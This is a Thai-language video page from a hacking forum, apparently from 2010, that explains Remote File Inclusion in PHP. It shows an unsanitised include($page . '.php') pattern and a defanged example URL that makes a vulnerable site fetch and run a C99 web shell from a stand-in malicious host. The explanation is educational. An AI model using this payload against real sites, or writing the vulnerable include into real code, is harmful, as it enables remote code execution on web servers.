CITEC-Tube - สาธิตการโจมตีแบบ Remote File Inclusion (RFI)

สาธิตการโจมตีแบบ Remote File Inclusion (RFI)
(click here to watch and comment)

http://citecclub.org/forum/customVID/thumbs/23.jpg

สาธิตการโจมตีแบบ Remote File Inclusion (RFI) (3 min 04 sec)
Uploaded on 09-02-2010 at 11:02 AM by asylu3
Hacking - Vimeo

Remote File Inclusion (RFI) เป็นเทคนิคที่ถูกใช้เพื่อโจมตีเว็บไซต์จากระยะไกล ด้วยเจตนาประสงค์ร้ายนี้เอง มันจึงสามารถผสานเข้ากับการใช้งาน XSA เพื่อทำลาย Web Server ได้


เนื้อหา
[ซ่อน]

* 1 วิธีการทำงานของRFI
* 2 Why the attack works
* 3 'การป้องกันการโจมตี
* 4 To prevent Attack
* 5 Another Solution

[แก้ไข] วิธีการทำงานของRFI

การโจมตีแบบ Remote Flie Inclusion (RFI) จะอนุญาตให้ผู้ใช้ที่ไม่หวังดีต่อระบบ ทำการสั่งการ (Run) PHP Code บนเว็บไซต์ที่มีช่องโหว่ได้ ผู้โจมตีจะรวม Code ของเขาเข้าไปในพื้นที่บนเว็บไซต์ ที่จัดไว้ให้กับโปรแกรมที่เขียนด้วย PHP ยกตัวอย่างเช่น ส่วนของ PHP Code ที่มีช่องโหว่จะอยู่ในลักษณะนี้:

include($page . '.php');

PHP Code บรรทัดนี้ จะถูกใช้ใน URL (Uniform Resource Locator) ดังตัวอย่างต่อไปนี้:

"http://www.vulnerable.website.com/index.php?page=archive"

เนื่องจากตัวแปร $page นั้นยังไม่ได้ถูกระบุไว้อย่างเจาะจง ผู้โจมตีจึงสามารถใส่ตำแหน่งของไฟล์ที่ไม่หวังดีนั้นลงใน URL และสั่งการมันบน Server ที่ต้องการ ดังตัวอย่างต่อไปนี้:

“hxxp://www.vulnerable.website.com/index.php?page=hxxp://www.malicious.code.com/C99.php”


ฟังก์ชัน include() จะสั่งให้ Server รับเอาไฟล์ C99.php และสั่งการ (Run) ไฟล์นี้จากระยะไกล ที่ตัวอย่างนี้เป็นไปได้ก็เพราะว่า PHP อนุญาตให้ผู้ใช้ทำการโหลดข้อมูลทั้งจากระยะใกล้และไกลด้วยฟังก์ชันเดียวกัน Code ตัวอย่างที่อยู่ข้างบนนั้นมิได้กระทำการตรวจสอบค่าตัวแปร $page

More [wiki]RFI[/wiki]

Tags: hack

สาธิตการโจมตีแบบ Remote File Inclusion (RFI)
(click here to watch and comment)